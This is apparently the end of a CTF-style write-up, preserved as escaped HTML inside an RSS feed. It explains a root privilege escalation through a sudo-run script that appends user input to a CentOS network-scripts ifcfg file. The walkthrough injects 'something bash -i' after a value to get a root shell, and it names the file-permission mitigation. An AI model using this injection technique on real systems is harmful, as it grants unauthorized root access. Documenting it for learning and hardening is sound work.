&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;regexp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;^[a-zA-Z0-9_\ /-]+&lt;/span&gt;$&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;interface &lt;/span&gt;&lt;span class="nv"&gt;$var&lt;/span&gt;&lt;span class="s2"&gt;:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;read&lt;/span&gt; x
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; ! &lt;span class="nv"&gt;$x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;~ &lt;span class="nv"&gt;$regexp&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;wrong input, try again&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;interface &lt;/span&gt;&lt;span class="nv"&gt;$var&lt;/span&gt;&lt;span class="s2"&gt;:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;read&lt;/span&gt; x
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$var&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$x&lt;/span&gt; &amp;gt;&amp;gt; /etc/sysconfig/network-scripts/ifcfg-guly
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/sbin/ifup guly0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This script gives us the opportunity to modify &lt;code&gt;/etc/sysconfig/network-scripts/ifcfg-guly&lt;/code&gt; by asking for input for the mentioned variable name/value pairs. As we can give any value that matches the regex, we can add a value followed by a space and a command.&lt;/p&gt;
&lt;p&gt;This works as privilege escalation, because when the file is sourced at the end, the system tries to execute commands that appear after the space (after the value part). And since the process runs as root, we have command execution as root.&lt;/p&gt;
&lt;p&gt;To demonstrate, it works similar to this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ echo &amp;#34;some=thing id&amp;#34; &amp;gt; example
$ source example # &amp;lt;-- will not just set the variable but also execute &amp;#34;id&amp;#34;
uid=0(root) gid=0(root) groups=0(root)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So what we can do on the remote machine is the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ sudo /usr/local/sbin/changename.sh
interface NAME:
something bash -i # &amp;lt;--- notice the space before the command
interface PROXY_METHOD:
a
interface BROWSER_ONLY:
a
interface BOOTPROTO:
a

# and we&amp;#39;re in another interactive bash shell as root
$ id
uid=0(root) gid=0(root) groups=0(root)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Have a read about this &amp;ldquo;issue&amp;rdquo; on &lt;a href="https://seclists.org/fulldisclosure/2019/Apr/24"&gt;Full Disclosure (Redhat/CentOS root through network-scripts)&lt;/a&gt;. Setting the right permissions (i.e. not allowing users to edit the file) is enough to prevent this exploitation of a network-script.&lt;/p&gt;
&lt;p&gt;Cheers!&lt;/p&gt;</description></item></channel></rss>